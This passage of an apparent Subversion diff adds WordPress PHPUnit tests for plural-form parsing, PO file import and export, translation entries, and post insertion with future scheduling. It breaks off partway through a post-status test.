+class PluralFormsTest extends WP_UnitTestCase {
+	/**
+	 * Parenthesize plural expression.
+	 *
+	 * Legacy workaround for PHP's flipped precedence order for ternary.
+	 *
+	 * @param string $expression the expression without parentheses
+	 * @return string the expression with parentheses added
+	 */
+	protected static function parenthesize_plural_expression($expression) {
+		$expression .= ';';
+		$res = '';
+		$depth = 0;
+		for ($i = 0; $i < strlen($expression); ++$i) {
+			$char = $expression[$i];
+			switch ($char) {
+				case '?':
+					$res .= ' ? (';
+					$depth++;
+					break;
+				case ':':
+					$res .= ') : (';
+					break;
+				case ';':
+					$res .= str_repeat(')', $depth) . ';';
+					$depth= 0;
+					break;
+				default:
+					$res .= $char;
+			}
+		}
+		return rtrim($res, ';');
+	}
+
+	/**
+	 * @ticket 41562
+	 * @group external-http
+	 */
+	public function test_locales_provider() {
+		$locales = self::locales_provider();
+
+		$this->assertNotEmpty( $locales, 'Unable to retrieve GP_Locales file' );
+	}
+
+	public static function locales_provider() {
+		if ( ! class_exists( 'GP_Locales' ) ) {
+			$filename = download_url( 'https://raw.githubusercontent.com/GlotPress/GlotPress-WP/develop/locales/locales.php' );
+			if ( is_wp_error( $filename ) ) {
+				return array();
+			}
+			require_once $filename;			
+		}
+
+		$locales = GP_Locales::locales();
+		$plural_expressions = array();
+		foreach ( $locales as $slug => $locale ) {
+			$plural_expression = $locale->plural_expression;
+			if ( $plural_expression !== 'n != 1' ) {
+				$plural_expressions[] = array( $slug, $locale->nplurals, $plural_expression );
+			}
+		}
+
+		return $plural_expressions;
+	}
+
+	/**
+	 * @ticket 41562
+	 * @dataProvider locales_provider
+	 * @group external-http
+	 */
+	public function test_regression( $lang, $nplurals, $expression ) {
+		if ( version_compare( phpversion(), '7.2', '>=' ) ) {
+			$this->markTestSkipped( 'Lambda functions are deprecated in PHP 7.2' );
+		}
+
+		require_once dirname( dirname( dirname( __FILE__ ) ) ) . '/includes/plural-form-function.php';
+
+		$parenthesized = self::parenthesize_plural_expression( $expression );
+		$old_style = tests_make_plural_form_function( $nplurals, $parenthesized );
+		$pluralForms = new Plural_Forms( $expression );
+
+		$generated_old = array();
+		$generated_new = array();
+
+		foreach ( range( 0, 200 ) as $i ) {
+			$generated_old[] = $old_style( $i );
+			$generated_new[] = $pluralForms->get( $i );
+		}
+
+		$this->assertSame( $generated_old, $generated_new );
+	}
+
+	public static function simple_provider() {
+		return array(
+			array(
+				// Simple equivalence.
+				'n != 1',
+				array(
+					-1 => 1,
+					0 => 1,
+					1 => 0,
+					2 => 1,
+					5 => 1,
+					10 => 1,
+				),
+			),
+			array(
+				// Ternary
+				'n ? 1 : 2',
+				array(
+					-1 => 1,
+					0 => 2,
+					1 => 1,
+					2 => 1,
+				),
+			),
+			array(
+				// Comparison
+				'n > 1 ? 1 : 2',
+				array(
+					-2 => 2,
+					-1 => 2,
+					0 => 2,
+					1 => 2,
+					2 => 1,
+					3 => 1,
+				),
+			),
+			array(
+				'n > 1 ? n > 2 ? 1 : 2 : 3',
+				array(
+					-2 => 3,
+					-1 => 3,
+					0 => 3,
+					1 => 3,
+					2 => 2,
+					3 => 1,
+					4 => 1,
+				),
+			),
+		);
+	}
+
+	/**
+	 * @ticket 41562
+	 * @dataProvider simple_provider
+	 */
+	public function test_simple( $expression, $expected ) {
+		$pluralForms = new Plural_Forms( $expression );
+		$actual = array();
+		foreach ( array_keys( $expected ) as $num ) {
+			$actual[ $num ] = $pluralForms->get( $num );
+		}
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	public function data_exceptions() {
+		return array(
+			array(
+				'n # 2',              // Invalid expression to parse
+				'Unknown symbol "#"', // Expected exception message
+				false,                // Whether to call the get() method or not
+			),
+			array(
+				'n & 1',
+				'Unknown operator "&"',
+				false,
+			),
+			array(
+				'((n)',
+				'Mismatched parentheses',
+				false,
+			),
+			array(
+				'(n))',
+				'Mismatched parentheses',
+				false,
+			),
+			array(
+				'n : 2',
+				'Missing starting "?" ternary operator',
+				false,
+			),
+			array(
+				'n ? 1',
+				'Unknown operator "?"',
+				true,
+			),
+			array(
+				'n n',
+				'Too many values remaining on the stack',
+				true,
+			),
+		);
+	}
+
+	/**
+	 * Ensures that an exception is thrown when an invalid plural form is encountered.
+	 *
+	 * The `@expectedException Exception` notation for PHPUnit cannot be used because expecting an
+	 * exception of type `Exception` is not supported before PHPUnit 3.7. The CI tests for PHP 5.2
+	 * run on PHPUnit 3.6.
+	 *
+	 * @ticket 41562
+	 * @dataProvider data_exceptions
+	 */
+	public function test_exceptions( $expression, $expected_exception, $call_get ) {
+		try {
+			$pluralForms = new Plural_Forms( $expression );
+			if( $call_get ) {
+				$pluralForms->get( 1 );
+			}
+		} catch ( Exception $e ) {
+			$this->assertEquals( $expected_exception, $e->getMessage() );
+			return;
+		}
+
+		$this->fail( 'Expected exception was not thrown.' );
+	}
+
+	/**
+	 * @ticket 41562
+	 */
+	public function test_cache() {
+		$mock = $this->getMockBuilder( 'Plural_Forms' )
+			->setMethods(array('execute'))
+			->setConstructorArgs(array('n != 1'))
+			->getMock();
+
+		$mock->expects($this->once())
+			->method('execute')
+			->with($this->identicalTo(2))
+			->will($this->returnValue(1));
+
+		$first = $mock->get( 2 );
+		$second = $mock->get( 2 );
+		$this->assertEquals( $first, $second );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/pomo/po.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/pomo/po.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/pomo/po.php	(revision 56912)
@@ -0,0 +1,225 @@
+<?php
+
+/**
+ * @group pomo
+ */
+class Tests_POMO_PO extends WP_UnitTestCase {
+	function setUp() {
+		require_once ABSPATH . '/wp-includes/pomo/po.php';
+		// not so random wordpress.pot string -- multiple lines
+		$this->mail = "Your new WordPress blog has been successfully set up at:
+
+%1\$s
+
+You can log in to the administrator account with the following information:
+
+Username: %2\$s
+Password: %3\$s
+
+We hope you enjoy your new blog. Thanks!
+
+--The WordPress Team
+http://wordpress.org/
+";
+	$this->po_mail = '""
+"Your new WordPress blog has been successfully set up at:\n"
+"\n"
+"%1$s\n"
+"\n"
+"You can log in to the administrator account with the following information:\n"
+"\n"
+"Username: %2$s\n"
+"Password: %3$s\n"
+"\n"
+"We hope you enjoy your new blog. Thanks!\n"
+"\n"
+"--The WordPress Team\n"
+"http://wordpress.org/\n"';
+		$this->a90 = str_repeat("a", 90);
+		$this->po_a90 = "\"$this->a90\"";
+    }
+
+	function test_prepend_each_line() {
+		$po = new PO();
+		$this->assertEquals('baba_', $po->prepend_each_line('', 'baba_'));
+		$this->assertEquals('baba_dyado', $po->prepend_each_line('dyado', 'baba_'));
+		$this->assertEquals("# baba\n# dyado\n# \n", $po->prepend_each_line("baba\ndyado\n\n", '# '));
+	}
+
+	function test_poify() {
+		$po = new PO();
+		//simple
+		$this->assertEquals('"baba"', $po->poify('baba'));
+		//long word
+		$this->assertEquals($this->po_a90, $po->poify($this->a90));
+		// tab
+		$this->assertEquals('"ba\tba"', $po->poify("ba\tba"));
+		// do not add leading empty string of one-line string ending on a newline
+		$this->assertEquals('"\\\\a\\\\n\\n"', $po->poify("\a\\n\n"));
+		// backslash
+		$this->assertEquals('"ba\\\\ba"', $po->poify('ba\\ba'));
+		// random wordpress.pot string
+		$src = 'Categories can be selectively converted to tags using the <a href="%s">category to tag converter</a>.';
+		$this->assertEquals("\"Categories can be selectively converted to tags using the <a href=\\\"%s\\\">category to tag converter</a>.\"", $po->poify($src));
+
+		$this->assertEquals($this->po_mail, $po->poify($this->mail));
+	}
+
+	function test_unpoify() {
+		$po = new PO();
+		$this->assertEquals('baba', $po->unpoify('"baba"'));
+		$this->assertEquals("baba\ngugu", $po->unpoify('"baba\n"'."\t\t\t\n".'"gugu"'));
+		$this->assertEquals($this->a90, $po->unpoify($this->po_a90));
+		$this->assertEquals('\\t\\n', $po->unpoify('"\\\\t\\\\n"'));
+		// wordwrapped
+		$this->assertEquals('babadyado', $po->unpoify("\"\"\n\"baba\"\n\"dyado\""));
+		$this->assertEquals($this->mail, $po->unpoify($this->po_mail));
+	}
+
+	function test_export_entry() {
+		$po = new PO();
+		$entry = new Translation_Entry(array('singular' => 'baba'));
+		$this->assertEquals("msgid \"baba\"\nmsgstr \"\"", $po->export_entry($entry));
+		// plural
+		$entry = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas'));
+		$this->assertEquals('msgid "baba"
+msgid_plural "babas"
+msgstr[0] ""
+msgstr[1] ""', $po->export_entry($entry));
+		$entry = new Translation_Entry(array('singular' => 'baba', 'translator_comments' => "baba\ndyado"));
+		$this->assertEquals('#  baba
+#  dyado
+msgid "baba"
+msgstr ""', $po->export_entry($entry));
+		$entry = new Translation_Entry(array('singular' => 'baba', 'extracted_comments' => "baba"));
+		$this->assertEquals('#. baba
+msgid "baba"
+msgstr ""', $po->export_entry($entry));
+		$entry = new Translation_Entry(array(
+			'singular' => 'baba',
+			'extracted_comments' => "baba",
+			'references' => range(1, 29)));
+		$this->assertEquals('#. baba
+#: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
+#: 29
+msgid "baba"
+msgstr ""', $po->export_entry($entry));
+		$entry = new Translation_Entry(array('singular' => 'baba', 'translations' => array()));
+		$this->assertEquals("msgid \"baba\"\nmsgstr \"\"", $po->export_entry($entry));
+
+		$entry = new Translation_Entry(array('singular' => 'baba', 'translations' => array('куку', 'буку')));
+		$this->assertEquals("msgid \"baba\"\nmsgstr \"куку\"", $po->export_entry($entry));
+
+		$entry = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas', 'translations' => array('кукубуку')));
+		$this->assertEquals('msgid "baba"
+msgid_plural "babas"
+msgstr[0] "кукубуку"', $po->export_entry($entry));
+
+		$entry = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas', 'translations' => array('кукубуку', 'кукуруку', 'бабаяга')));
+		$this->assertEquals('msgid "baba"
+msgid_plural "babas"
+msgstr[0] "кукубуку"
+msgstr[1] "кукуруку"
+msgstr[2] "бабаяга"', $po->export_entry($entry));
+		// context
+		$entry = new Translation_Entry(array('context' => 'ctxt', 'singular' => 'baba', 'plural' => 'babas', 'translations' => array('кукубуку', 'кукуруку', 'бабаяга'), 'flags' => array('fuzzy', 'php-format')));
+		$this->assertEquals('#, fuzzy, php-format
+msgctxt "ctxt"
+msgid "baba"
+msgid_plural "babas"
+msgstr[0] "кукубуку"
+msgstr[1] "кукуруку"
+msgstr[2] "бабаяга"', $po->export_entry($entry));
+    }
+
+	function test_export_entries() {
+		$entry = new Translation_Entry(array('singular' => 'baba',));
+		$entry2 = new Translation_Entry(array('singular' => 'dyado',));
+		$po = new PO();
+		$po->add_entry($entry);
+		$po->add_entry($entry2);
+		$this->assertEquals("msgid \"baba\"\nmsgstr \"\"\n\nmsgid \"dyado\"\nmsgstr \"\"", $po->export_entries());
+	}
+
+	function test_export_headers() {
+		$po = new PO();
+		$po->set_header('Project-Id-Version', 'WordPress 2.6-bleeding');
+		$po->set_header('POT-Creation-Date', '2008-04-08 18:00+0000');
+		$this->assertEquals("msgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: WordPress 2.6-bleeding\\n\"\n\"POT-Creation-Date: 2008-04-08 18:00+0000\\n\"", $po->export_headers());
+	}
+
+	function test_export() {
+		$po = new PO();
+		$entry = new Translation_Entry(array('singular' => 'baba',));
+		$entry2 = new Translation_Entry(array('singular' => 'dyado',));
+		$po->set_header('Project-Id-Version', 'WordPress 2.6-bleeding');
+		$po->set_header('POT-Creation-Date', '2008-04-08 18:00+0000');
+		$po->add_entry($entry);
+		$po->add_entry($entry2);
+		$this->assertEquals("msgid \"baba\"\nmsgstr \"\"\n\nmsgid \"dyado\"\nmsgstr \"\"", $po->export(false));
+		$this->assertEquals("msgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: WordPress 2.6-bleeding\\n\"\n\"POT-Creation-Date: 2008-04-08 18:00+0000\\n\"\n\nmsgid \"baba\"\nmsgstr \"\"\n\nmsgid \"dyado\"\nmsgstr \"\"", $po->export());
+	}
+
+
+	function test_export_to_file() {
+		$po = new PO();
+		$entry = new Translation_Entry(array('singular' => 'baba',));
+		$entry2 = new Translation_Entry(array('singular' => 'dyado',));
+		$po->set_header('Project-Id-Version', 'WordPress 2.6-bleeding');
+		$po->set_header('POT-Creation-Date', '2008-04-08 18:00+0000');
+		$po->add_entry($entry);
+		$po->add_entry($entry2);
+
+		$temp_fn = $this->temp_filename();
+		$po->export_to_file($temp_fn, false);
+		$this->assertEquals($po->export(false), file_get_contents($temp_fn));
+
+		$temp_fn2 = $this->temp_filename();
+		$po->export_to_file($temp_fn2);
+		$this->assertEquals($po->export(), file_get_contents($temp_fn2));
+	}
+
+	function test_import_from_file() {
+		$po = new PO();
+		$res = $po->import_from_file(DIR_TESTDATA . '/pomo/simple.po');
+		$this->assertEquals(true, $res);
+
+		$this->assertEquals(array('Project-Id-Version' => 'WordPress 2.6-bleeding', 'Plural-Forms' => 'nplurals=2; plural=n != 1;'), $po->headers);
+
+		$simple_entry = new Translation_Entry(array('singular' => 'moon',));
+		$this->assertEquals($simple_entry, $po->entries[$simple_entry->key()]);
+
+		$all_types_entry = new Translation_Entry(array('singular' => 'strut', 'plural' => 'struts', 'context' => 'brum',
+			'translations' => array('ztrut0', 'ztrut1', 'ztrut2')));
+		$this->assertEquals($all_types_entry, $po->entries[$all_types_entry->key()]);
+
+		$multiple_line_entry = new Translation_Entry(array('singular' => 'The first thing you need to do is tell Blogger to let WordPress access your account. You will be sent back here after providing authorization.', 'translations' => array("baba\ndyadogugu")));
+		$this->assertEquals($multiple_line_entry, $po->entries[$multiple_line_entry->key()]);
+
+		$multiple_line_all_types_entry = new Translation_Entry(array('context' => 'context', 'singular' => 'singular',
+			'plural' => 'plural', 'translations' => array('translation0', 'translation1', 'translation2')));
+		$this->assertEquals($multiple_line_all_types_entry, $po->entries[$multiple_line_all_types_entry->key()]);
+
+		$comments_entry = new Translation_Entry(array('singular' => 'a', 'translator_comments' => "baba\nbrubru",
+			'references' => array('wp-admin/x.php:111', 'baba:333', 'baba'), 'extracted_comments' => "translators: buuu",
+			'flags' => array('fuzzy')));
+		$this->assertEquals($comments_entry, $po->entries[$comments_entry->key()]);
+
+		$end_quote_entry = new Translation_Entry(array('singular' => 'a"'));
+		$this->assertEquals($end_quote_entry, $po->entries[$end_quote_entry->key()]);
+	}
+
+	function test_import_from_entry_file_should_give_false() {
+		$po = new PO();
+		$this->assertFalse( $po->import_from_file( DIR_TESTDATA . '/pomo/empty.po' ) );
+	}
+
+	function test_import_from_file_with_windows_line_endings_should_work_as_with_unix_line_endings() {
+		$po = new PO();
+		$this->assertTrue( $po->import_from_file( DIR_TESTDATA . '/pomo/windows-line-endings.po' ) );
+		$this->assertEquals( 1, count( $po->entries ) );
+	}
+
+	//TODO: add tests for bad files
+}
+?>
Index: /tags/5.0.20/tests/phpunit/tests/pomo/translationEntry.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/pomo/translationEntry.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/pomo/translationEntry.php	(revision 56912)
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * @group pomo
+ */
+class Tests_POMO_TranslationEntry extends WP_UnitTestCase {
+
+	function test_create_entry() {
+		// no singular => empty object
+		$entry = new Translation_Entry();
+		$this->assertNull($entry->singular);
+		$this->assertNull($entry->plural);
+		$this->assertFalse($entry->is_plural);
+		// args -> members
+		$entry = new Translation_Entry(array(
+			'singular' => 'baba',
+			'plural' => 'babas',
+			'translations' => array('баба', 'баби'),
+			'references' => 'should be array here',
+			'flags' => 'baba',
+		));
+		$this->assertEquals('baba', $entry->singular);
+		$this->assertEquals('babas', $entry->plural);
+		$this->assertTrue($entry->is_plural);
+		$this->assertEquals(array('баба', 'баби'), $entry->translations);
+		$this->assertEquals(array(), $entry->references);
+		$this->assertEquals(array(), $entry->flags);
+	}
+
+	function test_key() {
+		$entry_baba = new Translation_Entry(array('singular' => 'baba',));
+		$entry_dyado = new Translation_Entry(array('singular' => 'dyado',));
+		$entry_baba_ctxt = new Translation_Entry(array('singular' => 'baba', 'context' => 'x'));
+		$entry_baba_plural = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas'));
+		$this->assertEquals($entry_baba->key(), $entry_baba_plural->key());
+		$this->assertNotEquals($entry_baba->key(), $entry_baba_ctxt->key());
+		$this->assertNotEquals($entry_baba_plural->key(), $entry_baba_ctxt->key());
+		$this->assertNotEquals($entry_baba->key(), $entry_dyado->key());
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/pomo/translations.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/pomo/translations.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/pomo/translations.php	(revision 56912)
@@ -0,0 +1,79 @@
+<?php
+
+/**
+ * @group pomo
+ */
+class Tests_POMO_Translations extends WP_UnitTestCase {
+
+	function test_add_entry() {
+		$entry = new Translation_Entry(array('singular' => 'baba',));
+		$entry2 = new Translation_Entry(array('singular' => 'dyado',));
+		$empty = new Translation_Entry();
+		$po = new Translations();
+		$po->add_entry($entry);
+		$this->assertEquals(array($entry->key() => $entry), $po->entries);
+		// add the same entry more than once
+		// we do not need to test proper key generation here, see test_key()
+		$po->add_entry($entry);
+		$po->add_entry($entry);
+		$this->assertEquals(array($entry->key() => $entry), $po->entries);
+		$po->add_entry($entry2);
+		$this->assertEquals(array($entry->key() => $entry, $entry2->key() => $entry2), $po->entries);
+		// add empty entry
+		$this->assertEquals(false, $po->add_entry($empty));
+		$this->assertEquals(array($entry->key() => $entry, $entry2->key() => $entry2), $po->entries);
+
+		// give add_entry() the arguments and let it create the entry itself
+		$po = new Translations();
+		$po->add_entry(array('singular' => 'baba',));
+		$entries= array_values($po->entries);
+		$this->assertEquals($entry->key(), $entries[0]->key());
+	}
+
+	function test_translate() {
+		$entry1 = new Translation_Entry(array('singular' => 'baba', 'translations' => array('babax')));
+		$entry2 = new Translation_Entry(array('singular' => 'baba', 'translations' => array('babay'), 'context' => 'x'));
+		$domain = new Translations();
+		$domain->add_entry($entry1);
+		$domain->add_entry($entry2);
+		$this->assertEquals('babax', $domain->translate('baba'));
+		$this->assertEquals('babay', $domain->translate('baba', 'x'));
+		$this->assertEquals('baba', $domain->translate('baba', 'y'));
+		$this->assertEquals('babaz', $domain->translate('babaz'));
+	}
+
+	function test_translate_plural() {
+		$entry_incomplete = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas', 'translations' => array('babax')));
+		$entry_toomany = new Translation_Entry(array('singular' => 'wink', 'plural' => 'winks', 'translations' => array('winki', 'winka', 'winko')));
+		$entry_2 = new Translation_Entry(array('singular' => 'dyado', 'plural' => 'dyados', 'translations' => array('dyadox', 'dyadoy')));
+		$domain = new Translations();
+		$domain->add_entry($entry_incomplete);
+		$domain->add_entry($entry_toomany);
+		$domain->add_entry($entry_2);
+		$this->assertEquals('other', $domain->translate_plural('other', 'others', 1));
+		$this->assertEquals('others', $domain->translate_plural('other', 'others', 111));
+		// too few translations + cont logic
+		$this->assertEquals('babas', $domain->translate_plural('baba', 'babas', 2));
+		$this->assertEquals('babas', $domain->translate_plural('baba', 'babas', 0));
+		$this->assertEquals('babas', $domain->translate_plural('baba', 'babas', -1));
+		$this->assertEquals('babas', $domain->translate_plural('baba', 'babas', 999));
+		// proper
+		$this->assertEquals('dyadox', $domain->translate_plural('dyado', 'dyados', 1));
+		$this->assertEquals('dyadoy', $domain->translate_plural('dyado', 'dyados', 0));
+		$this->assertEquals('dyadoy', $domain->translate_plural('dyado', 'dyados', 18881));
+		$this->assertEquals('dyadoy', $domain->translate_plural('dyado', 'dyados', -18881));
+	}
+
+	function test_digit_and_merge() {
+		$entry_digit_1 = new Translation_Entry(array('singular' => 1, 'translations' => array('1')));
+		$entry_digit_2 = new Translation_Entry(array('singular' => 2, 'translations' => array('2')));
+		$domain = new Translations();
+		$domain->add_entry($entry_digit_1);
+		$domain->add_entry($entry_digit_2);
+		$dummy_translation = new Translations;
+		$this->assertEquals( '1', $domain->translate( '1' ) );
+		$domain->merge_with( $dummy_translation );
+		$this->assertEquals( '1', $domain->translate( '1' ) );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/post.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post.php	(revision 56912)
@@ -0,0 +1,1289 @@
+<?php
+
+/**
+ * test wp-includes/post.php
+ *
+ * @group post
+ */
+class Tests_Post extends WP_UnitTestCase {
+	protected static $editor_id;
+	protected static $grammarian_id;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$editor_id = $factory->user->create( array( 'role' => 'editor' ) );
+
+		add_role( 'grammarian', 'Grammarian', array(
+			'read'                 => true,
+			'edit_posts'           => true,
+			'edit_others_posts'    => true,
+			'edit_published_posts' => true,
+		) );
+
+		self::$grammarian_id = $factory->user->create( array( 'role' => 'grammarian' ) );
+	}
+
+	public static function wpTearDownAfterClass() {
+		remove_role( 'grammarian' );
+	}
+
+	function setUp() {
+		parent::setUp();
+
+		wp_set_current_user( self::$editor_id );
+		_set_cron_array( array() );
+
+		$this->post_ids = array();
+	}
+
+	// helper function: return the timestamp(s) of cron jobs for the specified hook and post
+	function _next_schedule_for_post($hook, $id) {
+		return wp_next_scheduled('publish_future_post', array(0=>intval($id)));
+	}
+
+	// helper function, unsets current user globally
+	function _unset_current_user() {
+		global $current_user, $user_ID;
+
+		$current_user = $user_ID = null;
+	}
+
+	// test simple valid behavior: insert and get a post
+	function test_vb_insert_get_delete() {
+		register_post_type( 'cpt', array( 'taxonomies' => array( 'post_tag', 'ctax' ) ) );
+		register_taxonomy( 'ctax', 'cpt' );
+		$post_types = array( 'post', 'cpt' );
+
+		foreach ( $post_types as $post_type ) {
+			$post = array(
+				'post_author' => self::$editor_id,
+				'post_status' => 'publish',
+				'post_content' => rand_str(),
+				'post_title' => rand_str(),
+				'tax_input' => array( 'post_tag' => 'tag1,tag2', 'ctax' => 'cterm1,cterm2' ),
+				'post_type' => $post_type
+			);
+
+			// insert a post and make sure the ID is ok
+			$id = wp_insert_post($post);
+			$this->assertTrue(is_numeric($id));
+			$this->assertTrue($id > 0);
+
+			// fetch the post and make sure it matches
+			$out = get_post($id);
+
+			$this->assertEquals($post['post_content'], $out->post_content);
+			$this->assertEquals($post['post_title'], $out->post_title);
+			$this->assertEquals($post['post_status'], $out->post_status);
+			$this->assertEquals($post['post_author'], $out->post_author);
+
+			// test cache state
+			$pcache = wp_cache_get( $id, 'posts' );
+			$this->assertInstanceOf( 'stdClass', $pcache );
+			$this->assertEquals( $id, $pcache->ID );
+
+			update_object_term_cache( $id, $post_type );
+			$tcache = wp_cache_get( $id, "post_tag_relationships" );
+			$this->assertInternalType( 'array', $tcache );
+			$this->assertEquals( 2, count( $tcache ) );
+
+			$tcache = wp_cache_get( $id, "ctax_relationships" );
+			if ( 'cpt' == $post_type ) {
+				$this->assertInternalType( 'array', $tcache );
+				$this->assertEquals( 2, count( $tcache ) );
+			} else {
+				$this->assertFalse( $tcache );
+			}
+
+			wp_delete_post( $id, true );
+			$this->assertFalse( wp_cache_get( $id, 'posts' ) );
+			$this->assertFalse( wp_cache_get( $id, "post_tag_relationships" ) );
+			$this->assertFalse( wp_cache_get( $id, "ctax_relationships" ) );
+		}
+
+		$GLOBALS['wp_taxonomies']['post_tag']->object_type = array( 'post' );
+	}
+
+	function test_vb_insert_future() {
+		// insert a post with a future date, and make sure the status and cron schedule are correct
+
+		$future_date = strtotime('+1 day');
+
+		$post = array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+		#dmp(_get_cron_array());
+		$this->assertTrue(is_numeric($id));
+		$this->assertTrue($id > 0);
+
+		// fetch the post and make sure it matches
+		$out = get_post($id);
+
+		$this->assertEquals($post['post_content'], $out->post_content);
+		$this->assertEquals($post['post_title'], $out->post_title);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_author'], $out->post_author);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// there should be a publish_future_post hook scheduled on the future date
+		$this->assertEquals($future_date, $this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	function test_vb_insert_future_over_dst() {
+		// insert a post with a future date, and make sure the status and cron schedule are correct
+
+		// Some magic days - one dst one not
+		$future_date_1 = strtotime('June 21st +1 year');
+		$future_date_2 = strtotime('Jan 11th +1 year');
+
+
+		$post = array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+
+		// fetch the post and make sure has the correct date and status
+		$out = get_post($id);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// check that there's a publish_future_post job scheduled at the right time
+		$this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+		// now save it again with a date further in the future
+
+		$post['ID'] = $id;
+		$post['post_date'] = strftime("%Y-%m-%d %H:%M:%S", $future_date_2);
+		$post['post_date_gmt'] = NULL;
+		wp_update_post($post);
+
+		// fetch the post again and make sure it has the new post_date
+		$out = get_post($id);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// and the correct date on the cron job
+		$this->assertEquals($future_date_2, $this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	function test_vb_insert_future_edit_bug() {
+		// future post bug: posts get published at the wrong time if you edit the timestamp
+		// https://core.trac.wordpress.org/ticket/4710
+
+		$future_date_1 = strtotime('+1 day');
+		$future_date_2 = strtotime('+2 day');
+
+		$post = array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+
+		// fetch the post and make sure has the correct date and status
+		$out = get_post($id);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// check that there's a publish_future_post job scheduled at the right time
+		$this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+		// now save it again with a date further in the future
+
+		$post['ID'] = $id;
+		$post['post_date'] = strftime("%Y-%m-%d %H:%M:%S", $future_date_2);
+		$post['post_date_gmt'] = NULL;
+		wp_update_post($post);
+
+		// fetch the post again and make sure it has the new post_date
+		$out = get_post($id);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// and the correct date on the cron job
+		$this->assertEquals($future_date_2, $this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	function test_vb_insert_future_draft() {
+		// insert a draft post with a future date, and make sure no cron schedule is set
+
+		$future_date = strtotime('+1 day');
+
+		$post = array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'draft',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+		#dmp(_get_cron_array());
+		$this->assertTrue(is_numeric($id));
+		$this->assertTrue($id > 0);
+
+		// fetch the post and make sure it matches
+		$out = get_post($id);
+
+		$this->assertEquals($post['post_content'], $out->post_content);
+		$this->assertEquals($post['post_title'], $out->post_title);
+		$this->assertEquals('draft', $out->post_status);
+		$this->assertEquals($post['post_author'], $out->post_author);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// there should be a publish_future_post hook scheduled on the future date
+		$this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+
+	}
+
+	function test_vb_insert_future_change_to_draft() {
+		// insert a future post, then edit and change it to draft, and make sure cron gets it right
+		$future_date_1 = strtotime('+1 day');
+
+		$post = array(
+			'post_author' => self::$editor_id,
+			'post_status' => 'publish',
+			'post_content' => rand_str(),
+			'post_title' => rand_str(),
+			'post_date'  => strftime("%Y-%m-%d %H:%M:%S", $future_date_1),
+		);
+
+		// insert a post and make sure the ID is ok
+		$id = $this->post_ids[] = wp_insert_post($post);
+
+		// fetch the post and make sure has the correct date and status
+		$out = get_post($id);
+		$this->assertEquals('future', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// check that there's a publish_future_post job scheduled at the right time
+		$this->assertEquals($future_date_1, $this->_next_schedule_for_post('publish_future_post', $id));
+
+		// now save it again with status set to draft
+
+		$post['ID'] = $id;
+		$post['post_status'] = 'draft';
+		wp_update_post($post);
+
+		// fetch the post again and make sure it has the new post_date
+		$out = get_post($id);
+		$this->assertEquals('draft', $out->post_status);
+		$this->assertEquals($post['post_date'], $out->post_date);
+
+		// and the correct date on the cron job
+		$this->assertEquals(false, $this->_next_schedule_for_post('publish_future_post', $id));
+	}
+
+	function test_vb_insert_future_change_status() {
+		// insert a future post, then edit and change the status, and make sure cron gets it right
+		$future_date_1 = strtotime('+1 day');
+
+		$statuses = array('draft', 'static', 'object', 'attachment', 'inherit', 'pending');
+
+		foreach ($statuses as $status) {
+			$post = array(
+				'post_author' => self::$editor_id,
